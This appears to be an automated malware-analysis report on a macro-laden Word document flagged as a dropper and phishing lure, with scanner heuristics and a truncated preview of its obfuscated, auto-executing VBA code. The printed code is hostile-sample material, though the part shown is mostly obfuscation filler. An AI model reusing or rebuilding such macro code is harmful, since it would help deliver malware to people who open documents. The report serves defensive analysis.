Malware Insights
The file is a Microsoft Office document containing VBA macros. The 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic indicates an auto-executing macro with execution tokens, specifically 'AutoOpen' and 'Shell'. This suggests the macro is designed to run automatically upon opening the document and execute commands. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' further supports a malicious dropper or phishing lure. The VBA code itself is heavily obfuscated, but the presence of 'Shell' and auto-execution markers strongly implies it's intended to download and run a secondary payload, characteristic of a phishing or malware delivery campaign.
Heuristics 5
-
ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 208362 bytes |
SHA-256: a5a1b1c54fd1e2adba21a5ca00adaf0f5c69f2adea34a7272742ae7302575e8f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "IGVtNnN"
Attribute VB_Name = "twCntwfOcJA"
Function wXRjPmLccdhh()
On Error Resume Next
rBlcfiBPOcG = 871 / Rnd(4) + LbIQuHqJO + pFJcRtWNuJoON * 9 + Int(nnqAnjHjh * CStr(YXNnjqHYRjsMR)) + JCrwPRY * CDate(3624 - 352183467 * 84 / 475) / OpdHQpVihJXQEu - CSng(620)
YzwXB = 871 / Rnd(4) + nwChjGLK + JdTtHHjMQN * 9 + Int(QaosHWvjB * CStr(OVcktRq)) + GkzWEbzz * CDate(3624 - 352183467 * 84 / 475) / jWiRbibwNJKa - CSng(620)
niBGQF = Mid("zjoO93SjwaOuq8qkLrNr", 8, 2)
BdXYZr = 871 / Rnd(4) + ijDBPzhbbVp + koLQQUbJYJZZR * 9 + Int(jzioAzP * CStr(IPLPJzhOCl)) + wltVtGwckHY * CDate(3624 - 352183467 * 84 / 475) / ijNOhsmU - CSng(620)
jakiwEOpUqN = 871 / Rnd(4) + cTTVSSo + PANuTMA * 9 + Int(YYRnRkVK * CStr(JazRSBwBBbw)) + bjdwVGO * CDate(3624 - 352183467 * 84 / 475) / jUiWCYVJQjs - CSng(620)
QkqozsPRW = 871 / Rnd(4) + cNfvEBLccKHnw + RpdphEUiPk * 9 + Int(hfvlzWQQ * CStr(WXNaoFlAIzRT)) + QvYECEQXzwv * CDate(3624 - 352183467 * 84 / 475) / WVPqdorWOzubD - CSng(620)
GqknFS = Mid("zC7urkPLtSvo5vwiM1qj3knGTfNSBGiwBnc", 27, 7)
nNKUhq = 871 / Rnd(4) + JqIsrkwzQsSkDI + soowdGjwovaOuf * 9 + Int(lSjzukXkGlKP * CStr(qCuSubcV)) + mOrcuUwQVCT * CDate(3624 - 352183467 * 84 / 475) / HzAEOMVDiLT - CSng(620)
ojaRTrqj = 871 / Rnd(4) + IAVshOXh + liPRjtpBAj * 9 + Int(GXSwoOMhUMfQ * CStr(onVwXLj)) + MOkArcFJGwQXr * CDate(3624 - 352183467 * 84 / 475) / liWESCq - CSng(620)
rZnLQv = 871 / Rnd(4) + TFmBIUSDRKfVI + pDopPHwij * 9 + Int(uOjPHRs * CStr(uAIpivIBkPM)) + UiwwWRPsvLtlWj * CDate(3624 - 352183467 * 84 / 475) / toCvAREa - CSng(620)
ChlUwId = Mid("5GLFG1RFLMHwwTUiicUDVNJT5B8jYbLKZMHz", 31, 2)
zDXnlBjSHLI = 871 / Rnd(4) + JGSKdvXs + pzvtIhwwmHY * 9 + Int(NPsMnCnaT * CStr(izzFiihwJlNUb)) + wHcAXHjuRw * CDate(3624 - 352183467 * 84 / 475) / qawpskRLzVztDC - CSng(620)
fbLAPFbj = 871 / Rnd(4) + CDGkBBwwBjJs + iViizLOQq * 9 + Int(RspQsRJUjSzOp * CStr(iHfjilZcSAiwW)) + vHEWLKp * CDate(3624 - 352183467 * 84 / 475) / MkFjrMcZRUjqD - CSng(620)
aILfI = 871 / Rnd(4) + PnznAtnUQ + ZmCLLjjBJnH * 9 + Int(IRAvIdCzOZzH * CStr(swdzCDGhKSwPz)) + lQsuPIjijnFl * CDate(3624 - 352183467 * 84 / 475) / RRRAovTS - CSng(620)
EjvtUpHt = Mid("F9jUWQ3Fr9fwOBvGiijGGlNBK4tV", 11, 1)
PqlVjNd = 871 / Rnd(4) + jhhFTpaohwvDY + OcCizmvuaB * 9 + Int(MzsiOPfCEbWpG * CStr(AQXDIlnoELpRB)) + RwmHfMGpiFTjP * CDate(3624 - 352183467 * 84 / 475) / Tzrnwnz - CSng(620)
DRjtZI = 871 / Rnd(4) + nCPiFNJtVIwsYT + JHRnzVnd * 9 + Int(nVuSkabO * CStr(kPAWFAt)) + AwwoUSIpiiS * CDate(3624 - 352183467 * 84 / 475) / aYzZIuk - CSng(620)
oiBVz = 871 / Rnd(4) + XrRQFYuhtw + nkIpPJtkK * 9 + Int(RkbWmUHUCVOv * CStr(YupPGhuAMWScQL)) + biCDmnGH * CDate(3624 - 352183467 * 84 / 475) / uTEnNrbArpkuZ - CSng(620)
ozzSkI = Mid("AkGX3wDD7rrs&BLb5kwA", 10, 4)
HNucLbXU = 871 / Rnd(4) + rIujkqnDK + CRuTUpjSSCmcC * 9 + Int(JHbMPbNKQZprE * CStr(EifEivfAL)) + DKsqcijO * CDate(3624 - 352183467 * 84 / 475) / BWdPboj - CSng(620)
ltuKG = 871 / Rnd(4) + XuKnOitUkjuSd + PYiqCpPrhMLP * 9 + Int(cClDtIR * CStr(hsEUutFjlITwbp)) + zpEFdjMzbz * CDate(3624 - 352183467 * 84 / 475) / RRzdBKLmif - CSng(620)
kJLwNQMd = 871 / Rnd(4) + sAUidlROoX + wHMIvUIFiWhi * 9 + Int(alCsaODQvVnAr * CStr(aZbcoKwQwoO)) + uTjACKSbDriY * CDate(3624 - 352183467 * 84 / 475) / ZTRDmZIEsijHu - CSng(620)
kXicjOcIROv = Mid("1RN&sBQENGs6VwI7ArQdzWBwjBBiKz3lk", 4, 2)
iiqEiolzBp = 871 / Rnd(4) + WIvKIvEsSin + lNoCnOUvcUUc * 9 + Int(jHHJkoHoUSwJT * CStr(RtjjuijNPM)) + XXNkBBnT * CDate(3624 - 352183467 * 84 / 475) / YowiipjtQv - CSng(620)
ZmfHj = 871 / Rnd(4) + WZnJkjULDv + dzfvTbhLzz * 9 + Int(lMfoifOWtVFca * CStr(tMnCVlaohvu)) + IZPnoOajobiwBo * CDate(3624 - 352183467 * 84 / 475) / hCzXUFTZPtIdNP - CSng(620)
frDOwtAW = 871 / Rnd(4) + sUrDBtoawDWru + MRtDTQI * 9 + Int(wzczAzFzpwUUO * CStr(jJjHNNV)) + CzBjVYmqz * CDate(3624 - 352183467 * 84 / 475) /
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.